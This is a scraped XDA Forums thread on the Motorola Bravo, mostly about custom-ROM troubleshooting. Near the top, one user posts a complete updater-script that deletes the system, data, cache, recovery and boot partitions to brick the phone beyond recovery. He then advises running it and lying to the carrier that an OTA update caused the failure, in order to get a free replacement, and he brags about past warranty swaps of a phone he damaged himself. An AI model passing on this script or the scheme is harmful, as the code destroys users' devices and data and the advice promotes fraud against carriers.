yashsingh1/xdaforums huggingface dataset:
[Bravo General] skeevydude:
Open /META-INF/com/google/android/updater-script from any flashable zip and replace all the text with this and it'll wipe all your data and completely brick your Bravo in the process. An unrecoverable brick.

show_progress(0.100000, 4);
mount("ext3", "EMMC", "/dev/block/mmcblk1p21", "/system");
mount("ext3", "EMMC", "/dev/block/mmcblk1p25", "/data");
mount("ext3", "EMMC", "/dev/block/mmcblk1p24", "/cache");
mount("ext3", "EMMC", "/dev/block/mmcblk1p16", "/recovery");
mount("ext3", "EMMC", "/dev/block/mmcblk1p15", "/boot");
delete_recursive("/system/");
delete_recursive("/data/");
delete_recursive("/cache/");
delete_recursive("/recovery/");
delete_recursive("/boot/");
show_progress(0.100000, 5);

I'd make it a flashable zip, but I'm afraid someone'll be dumb enough to actually flash it thinking its a quick data\cache wipe or something like that.
[Bravo General] josuearisty:
Remenber that there is a little white thing which turns red when your phone is water damaged.
[Bravo General] skeevydude:
They hardley ever check things like that here in the states. They only care about things like that if you're dumb enough to tell them the whole truth about what happened. Running the above script and saying the phone broke after gettng an OTA is the easiest lie and a common problem that they deal with. If he does it right he can even get an early upgrade for a newer model with no out of pocket costs -- I've seen it done plenty of times before.

My last iPhone was missing a screw, had a broke ribbon cable, ovbious short on the circut board that I caused, and AT&T swapped it no problems at all; didn't even have to pay the $50 fee cause the phone was refurbished and they just replaced it with another iPhone (that I traded for my Bravo). It also had a non factory screen and touchscreen as well. I seriously doubt that they'd check the water damage strip if they didn't notice or care about my iPhone's issues.
[Bravo General] skeevydude:
Just boot up a linux live cd an use sbf_flash to force flash a full Defy sbf or a Defy Fixed sbf that contains one of their bootloaders. RSD won't do the trick since it'll detect you're trying to flash on a different phone.

Actually, can you try the live cd and flashing a Defy BL6 sbf? Since you're trying to brick it, I'd like to see what would happen if you attempt a Defy GB sbf flash. I suggest a BL6 sbf, cause if it works, we'd have access to the Defy GB and Froyo kernels. I'm just not sure if the Defy 9.10 bootloader will overwrite our 9.12 bootloader; if it does we're in business.

Link to Defy BL6 SBF

http://www.mediafire.com/?ccrnoyc738078aq

You don't even need an actual blank cd. Just a 1gig memory stick will work (provided you PC boots from usb or sdcard).

http://www.linuxliveusb.com/

Let me know if you need any help doing that, if you want to do that.

/Completely forgot about you being on StraightTalk.....

//Build environment back up. Syncing CM7 right now. Gonna start on merging in all the changes tomorrow. Found the baseband issue with Defy Parts so that'll be fixed.
[Bravo General] mander870@gmail.com:
bootloader

09.12

Err:A5,90,35,00,3D

flashing Battery Low

cannot program

and loops from this to the blue google boot screen...please help
[Bravo General] deftonesforever:
Realice el procedimiento del siguiente thread: http://xdaforums.com/showthread.php?t=1559109 , pero se queda en el logo de Motorola y no puedo ingresar al stock recovery, recuerdo en una anterior oportunidad haberlo hecho con resultados satisfactorios, ¿por que ahora no me resulta?, espero su ayuda, en especial de ti brother @josueariry, gracias.
[Bravo General] ccdsatt:
Hey guys just wondering if a jump from 32% to 18% after streaming two songson iheartradio on 3G is wrong and my battery isn't calibrated properly
[Bravo General] Junkyardjames87:
Try this app if your rooted.

Battery Calibration

Let me know if the links stops working
[Bravo General] skeevydude:
That can either be 1 of 2 things: Accidental Defy boot.img flash or a Low Battery Brick.

Can be caused by accidentally flashing a Defy boot.img in a rom. Ya gotta remove the boot.img and devtree.img (dev.img, something like that) from Defy roms before flashing. Logo.img is fine to keep and won't cause any problems. If all you did was that, then flash the fixed sbf from the Bravo Rom Mirror or Quarx2k.ru -- don't factory reset or wipe cache until you try the fixed sbf first. Then flash the full sbf if that doesn't work.

If the you tried to flash a rom and the battery was too low, you may have a had a bad flash, and consequently, a possible Low Battery Brick. Plug it into a wall charger or car charger,

not USB

and pray that it'll take a charge then do what I said in the first paragraph. If it doesn't take a charge then you might need a Motorola Factory Cable to flash the sbf and continue using your phone.

NEVER, under any circumstances, install a rom with less than a 50% charge if you're not prepared to either buy or make a Factory Cable (buy is my recommended fix), know how to wire up other batteries in a series to trick it into thinking that the battery has a charge, or not being afraid to strip a cable and directly make contact with the battery connectors to force it to charge. Low Battery Bricks suck and can be a pita to deal with.

IMHO, all Motorola phone owners who flash custom roms should have a Factory Cable around just for that problem.

I had a Low Battery Brick once and got extremely lucky that 2 RAZR V3 batteries in a series connected to my Bravo battery and the internal connectors at the same time gave me just enough juice to flash the SBF so I could charge my phone and actually use it -- took me 2 days to try that; no internet at the time to look up and try other fixes (I didn't even know about Low Battery Bricks until that happened).

Run a battery drain app then charge to full then run calibrate battery in the 2nd-init Recovery (inside the Advanced Settings) or the program suggested earlier. Its possible that what happened is perfectly normal behavior since I've seen that posted many times in the Defy Forums (we have the same battery and battery drivers). You can drain the battery even faster by setting all OC settings to 1000@75 -- draining the battery and recharging it is recommended to do before running the battery calibration from either the 2nd-Init recovery or an app solution.

Zeppelinrox has a battery calibration script here that works well.
[Bravo General] deftonesforever:
Listo instalado brother, espero el siguiente paso que sigue, saludos.
[Bravo General] josuearisty:
It means that you alredy root and installed recovery if you follow the steps.

Now download whatever rom you want and copy it to your sdcard (never forget about gapps)

Go to recovery mode by shutting down the phone and turn it on, when you see the notification turns blue press vol down button and you are in boot menu, then go to custom recovery and wipe data & cache and wipe dalvik cache and then select install zip and choose the rom & gapps you copy to your sdcard.

Cualquier csa si no entiendes bien mas adelante te explico mejor en español, estoy en mi cel y es la regla escribir siempre en ingles, aunque se ponga la traduccion debajo.
[Bravo General] deftonesforever:
I do not understand is about gapps, what do it have to do with the customs roms?

Rom did you recommend me? rom or did you not have faults?

(estoy con el traductor si puedes aclararme en español sería mejor), saludos y gracias nuevamente.
[Bravo General] josuearisty:
Descargate la rom que quieras y el archivo de gapps (gapps es el archivo donde estan las aplicaciones de google ej. market, gmail, etc)

Pasalas a la memoria SD de tu telefono.

Entra al modo recovery: apaga tu telefono y enciendelo, cuando veas que la luz enciende azul, dale al boton de volumen abajo y estaras en el bootmenu.

Luego con las teclas de volumen ve a recovery y custom recovery.

haz wipe de todo y despues dale a instalar la rom y tambien gapps.
[Bravo General] deftonesforever:
You know where I can download the package gapps?, Is one version? or what is the right one?
[Bravo General] josuearisty:
Gapps for CM7

http://www.4shared.com/zip/pCJZdeFV/gapps-gb-20110828-signed.html
[Bravo General] aniruddhand:
Data access drops

Hello,

I upgraded my Bravo to CM 10 recently. Everything works fine, but my Edge data access drops after some time. If I change settings in Network Preferences (like deselecting and selecting the same option) and restart the device then I get data access for some time.

What could be the issue? Has anyone faced this issue?

~ Aniruddha
[Bravo General] josuearisty:
Did you change baseband switcher settings? Go to advanced in setting and change baseband to Argentina Claro.

Try this.
[Bravo General] raul1113:
Problems making and receiving calls

A few weeks ago I've decided and installed CM7 by Quarkx (using guides from this great forum) and everything worked great, great difference from the stock rom, but since a couple weeks ago I have a problem. If I don't use the phone for a few hours and try to make a call it tries to make the call, it shows the message Calling ("Llamando" en realidad porque lo tengo en español) and never gets the phone call done, the cellphone doesn't ring or do anything, and if I try to stop del call it stays displaying "Colgando" (Stopping in english I guess) and I have to reset the phone to be able to make calls again. Recently I found that when this happens I can't receive calls neither.

The weird thing is that the phone doesn't loss signal, or at least the little bars of signal in top of notification bar are there.

Any help will be appreciated.

Thanks.
[Bravo General] josuearisty:
Better try lastest update

http://xdaforums.com/showthread.php?t=1755200
[Bravo General] aniruddhand:
I had tried this earlier. However baseband never switches to the region that I select which is Asia\South East Asia\2.51. I changed to Argentina\Claro (as suggested by you) and it did get updated. I had read that Bravo does not support 3G networks in India. May be that could be the reason why it did not switch.

Thanks for your suggestion. I will check whether I get continuous data access & get back to this forum if this does not help.

~ Aniruddha
[Bravo General] hotshot545:
Upgrading Bravo Software

I tried to update my bravo from the 8/4/12 build of jellybean to the 8/8/12 build of jellybean but my bravo is saying that the .zip file is bad
[Bravo General] skeevydude:
It was a bad download. Delete and redownload the zip, perferably with cable\dsl\whatever high speed you have access to.

Try to use WiFi or a PC to download the bigger zips and files, 50mb is my 3g limit. I've had quite a few bad downloads with 3g while looking directly at the 3g tower. Last year when I was living in the county, I first used the dentist office a mile up the street to use their unsecured wifi to download roms, then they "upgraded to wpa2" (punks); so I had to go 5 more miles to McD's to use their WiFi to get roms. 3g at my old place sucked, and its not much better now even though I'm closer to the tower and have full service most of the time.

What sucked about my old place was that directly across the street from me was where the town's cable network stopped. From my house onwards you either had to get dial-up or satellite internet (way too expensive). It was a big tease being able to see high speed internet and not be able to purchase it. A year after I moved in, independent cable contractors started adding new lines and said we'd have cable service in a year or two -- five years later I moved out still waiting on that service to arrive.
[Bravo General] raul1113:
I'll try it and I'll be reporting results.

Thanks for your advice.
[Bravo General] hotshot545:
I used my twenty five mbps home internet connection to download this...thx for the help i will try to redownload
[Bravo General] skeevydude:
If that doesn't work, there's always the possibility of a bad upload that Aleeyt isn't aware of. It happens.

Is you upload as severely crippled as mine? 1.5mbps down (actual dl speed) and 60kbps up (actual up speed). I almost can't use a sniper in MW3 from it. 45 minutes to up a rom...Its rediculous the crap they do to fight bittorrent. My Bravo on 3g ups around 256kbps here. If I could only set up psn to use my cable as down and my 3g as up I'd be alright.

/Started rockin a Dragunov and Akimbo Five Seven's. Its a killer combo combined with Specialist.

Perk 1 Blind Eye Pro

Perk 2 Assassin Pro

Perk 3 Steady Aim Pro *

Specialist

Perk 1 Hardline Pro

Perk 2 Scavenger Pro *

Perk 3 Quickdraw Pro

Lethal - Frag

Non Lethal - Tac Insert\Flash Bang (depends on the level)

* Almost a prerequisite for akimbo 5-7's, but worth it since they slaughter. P99's work just as well, but I'm earning my 5-7 titles now.

/end MW3 crap

//would post gamertag, but I'm using my Dad's since my PS3 is broke and I only play every once and a while now.
[Bravo General] hotshot545:
My actual download speeds are around 2.5-3.0 mbps and upload is around 1-1.5 mbps... i find ur mw3 senareo quite funny xD.. u have a ps3 too ok add me when u get ur ps3 back up and running it's hotshot545
[Bravo General] skeevydude:
My upload speed just sucks.:silly:

That setup actually works rather well provided you can spam the triggers in close range with the pistols. You're screwed otherwise. Depending on the map I'll either use speed and silencer or attachments and silencer plus acog.

Mine's skeevy420 on psn. I'm just playing MW3 on my Dad's account. Its 8th prestige and we haven't prestiged in a few months so our favorite guns are maxed out. Nowadays I've been using weird setups I'd never consider before trying to level all the guns to max and that sniper\akimbo setup came from that. Unless its a tube fest or really laggy I'm usually in the top 3 with that setup, even on non sniping maps. Lag screws snipers and pistols.

Try those akimbo 5-7's for a few rounds (it takes time to get used to them) and you'll be surprised. For HC, they're better without Steady Aim and can wipe out the entire enemy team and make them rage. Although I've owned with pistols only to have the other team switch to tubes and launchers...trophy system and corner camping with a sniper rifle *****es. I despise tube\launchers so much that I don't use them, even when fighting against grenade spammers.

I wish that their was a no explosives mode or bullet\grenade kill only mode -- no tubes, claymores, launchers, or betties so kills come from well placed shots or good throws, not randomly spamming spawn points and choke points with tubes\launchers. The exception would be stingers and possibly javelins. Javelin kills take a little skill and a lot of luck. I don't mind being out shot or spawn camped, but being blown up every few seconds just gets old. :mad:

/It makes you feel good when you kill a random guy and hear "Its that mfn sniper, be care..." before the kill taunt cuts off.

//I only play on hardcore; domination, s&d, headquarters mostly. It shouldn't take 7 shots in the head to kill a guy dammit.:p
[Bravo General] azatjan:
Mount data fails

After trying to install JB fonts on CM 7.2 I got a problem. The phone didn't boot. Restartes while CM 7 bootimage looping. I tryed to restore backup but in recovery i saw this:

E:Can't mount /cache/recovery/command

E:Can't mount /cache/recovery/log

E:Can't open /cache/recovery/log

E:Can't mount /cache/recovery/last_log

E:Can't open /cache/recovery/last_log

But I still can boot with CM10. In cm10 I discovered that the internal memory of my phone is not "working". It doesn't show its capacity, can't install apps on phone memory....

I have also tried to flash stock firmware with RSD Lite. But phone is getting dropped from FastBoot mode even not starting flashing process.

I have already tried everything.

PLEASE HELP.
[Bravo General] bwscott:
I have a small problem. I flashed CM10 with no problem, but, I tried to flash TWRP touch recovery and messed something up and now I have no recovery at all. Phone operates great otherwise, any suggestions?
[Bravo General] aniruddhand:
I had tried to switch baseband to region Asia/South East Asia/2.51 but this setting did not help. In fact after reboot my mobile reverted back to its old value. However it did switch to the setting that you have mentioned. I tried this for 3 days.

Though I still see drops in data connectivity it is not like earlier, this time I get the connectivity back once disable and then enable back the Mobile Data setting. I get connectivity continuously. I feel it drops if phone is idle?

~ Aniruddha
[Bravo General] josuearisty:
Mmmm very strange case, I think you are the first bravo user who have faced that problem. I think some defy users have faced that in the past.

Try downloading everything again and flash using another PC and other USB cable also.

If you know how to use adb commands, unzip a rom, go and look for bootmenu folder and extract it, then whit the phone on connect it to usb and copy bootmenu folder to system folder, I mean system/bootmenu.

Try downloading the baseband switcher app, sometimes the one include in the rom does not work.

When you change it to Argentina Claro, I think your connectivity will get better.
[Bravo General] bwscott:
Thanks, that gives me a place to start. Do you know what commands I'd use to do it. Is it possible to use ES file explorer?
[Bravo General] raul1113:
Hi.

Following advice from user josuearisty I I installed yesterday CM7 Kang (last build) to solve a problem that produced inability to make and receive calls from my Bravo. I followed the normal procedure, wipe data, cache, delvik, installed rom and gapps, everything ok. But now my phone just reboots randomly and when it happens after that I have no signal at all. I'm using only 2g networks option because a friend told me that worked for him.

If someone can give me any advice that will be great, because I don't know what to do.

Thanks.
[Bravo General] Dr. Orange:
Are you using a firewall app of any kind? Like droidwall?
[Bravo General] zetsui:
Tried to flash my CM9 final backup to titanium backup my files for a factory reset and a clean install of cm10...tried to restore using 2ndinit ...and it says files not found immediately...doesn't even let me go into directory when trying to pull up my backup directory for cm9. Gonna go crazzzzzy

I noticed a lot of problems between CWM backups is form different kernal versions. Since I am running CM10 and trying to restore a CM9 backup to backup all my programs and their settings would there be a mismatch in the kernel version

Also can someone remind me how to use 2ndinit. I see the green and blue light but I forget how to use it to boot into recovery/original bootloader (i've been uisng the reboot into option on CM10 all the time)

Alternative: What option do people select for their batch titanium backups. I want to know since restoring system apps like google play have resulted in errors in autehntication between a newly flashed phone and my old google store credentials? I am on CM10...upgraded from CM9 (not factory reset-which is what I want to do)..so all my CM9 programs are on Cm10. But I have some lag and youtube isn't working on CM10 and want to factory reset. Could I backup my programs on Cm10 and just reflash it with a factory reset...would this be any different in performance of if I went back to my CM9 image, titanium backed up..and flashed cm10 to restore?
[Bravo General] raul1113:
No, right now I have this apps installed:

android assistant

call timer

es file explorer

mx player

I haven't uninstalled anything that comes preloaded with CM7.

Thanks for your help.
[Bravo General] bwscott:
I fixed it! Using ES File Explorer. After setting root files to writable I extracted the /system/bootmenu/

/recovery folder from the CM10 nighty to the SD card, then I deleted the same folder in the root directory, then I moved the uncorrupted file folder to /system/bootmenu/ folder in the root directory. After verifying the move I rebooted into recovery and BAM! Recovery restored!
[Bravo General] Dr. Orange:
Hmmm. I say reflash rom and gapps, then switch baseband to Argentina Claro and reboot. Sometimes a bad flash leads to unexplainable problems...
[Bravo General] azatjan:
Problem Solved

I changed usb cable, I changed three PC. And suddenly 100th time when I connected the phone to PC another driver was installed ("Motorola Flash Interface" instead of "ADB ..."). After I managed to flash my device and every thing is OK now. Thanks.
[Bravo General] skeevydude:
I have a couple of things you can try.

1. Download the Baseband Switcher from the Defy Forums and do the Argentina switch. "Stock" Baseband sometimes has issues, not sure why. The Baseband switcher with my Kang is broken, it had some changes I didn't notice (moved the baseband files to /etc/motorola/baseband).

2. Increase the voltage. It comes with lower than normal voltage, while working fine on my phone, they might not work great on another phone due to hardware differences (some phones have "better" processors than others and handle lower voltage better).

3. I installed the Kang on Sunday and was having bad network issues, not sure if it was the rom or local cell towers, but I switched to WCDMA Prefered and its been working just fine now. Didn't have any random reboots or anything, just the network wouldn't connect. I'm still on the stock baseband. I didn't have those problems the first time I flashed the rom when I released it.

Working on an updated CM7 right now. Having problems with the latest merge; deleted some 2nd-Init binaries by accident and will have a release when I get it to boot. Baseband Switcher is fixed (i think, baseband files are now included), new FM app by Maniac103, many bug fixes.

I'm also thinking of changing the Cyanbread theme to have the ICS Holo Blue instead of Cyan. Would anyone be interested in that? It would probably take a few weeks to manually change each png from Cyan to Holo Blue. After switching back to CM7 from 9, I found myself not liking my favorite theme as much (Cyanbread, seemed too bright) and missing the Holo Blue color scheme.

I'm also going to start changing my CM7 Kangs to look and feel like ICS. Gonna switch ADW to Holo Launcher, make that theme above, add Holo Locker. Just trying to give the best of both worlds -- the stability and reliability of CM7 with the look and feel of ICS. The next release will still be "stock" CM7. Just letting ya'll know what I plan on doing.

Also, Holo Launcher Pro is pretty good. Buy it if you miss the ICS feel when you go back to 7. Free version works good and well, pro version is worth the money spent. I purchased it Sunday and I'm glad I did.
[Bravo General] raul1113:
Can you give me please some info or link where I can find info about that procedure?

I tried reinstalling CM7 again, now random reboots are gone but still I have the problem that I can't make phone calls sometimes.

I unnistalled Call Timer just to see what happens.

Thanks.
[Bravo General] josuearisty:
When will you release the next build for cm7 kang?
[Bravo General] skeevydude:
There's thread over at the Defy Forums for the Baseband Switcher.

I was having similar issues with data connectivity. Changing the network setting to WCDMA Preferred fixed it.
[Bravo General] skeevydude:
As soon as I can get it to boot. I think simply replacing the bootmenu from my last release will work, I'm just waiting on some phone calls so I can't test it at the moment.

Hippyman is supposed to send me his old Bravo and I've been holding off romming\flashing as much as I normally do until it arrives. He was supposed to have sent it exactly one month and one day ago, so hopefully it arrives soon. Free shipping in America can take 6-8 weeks.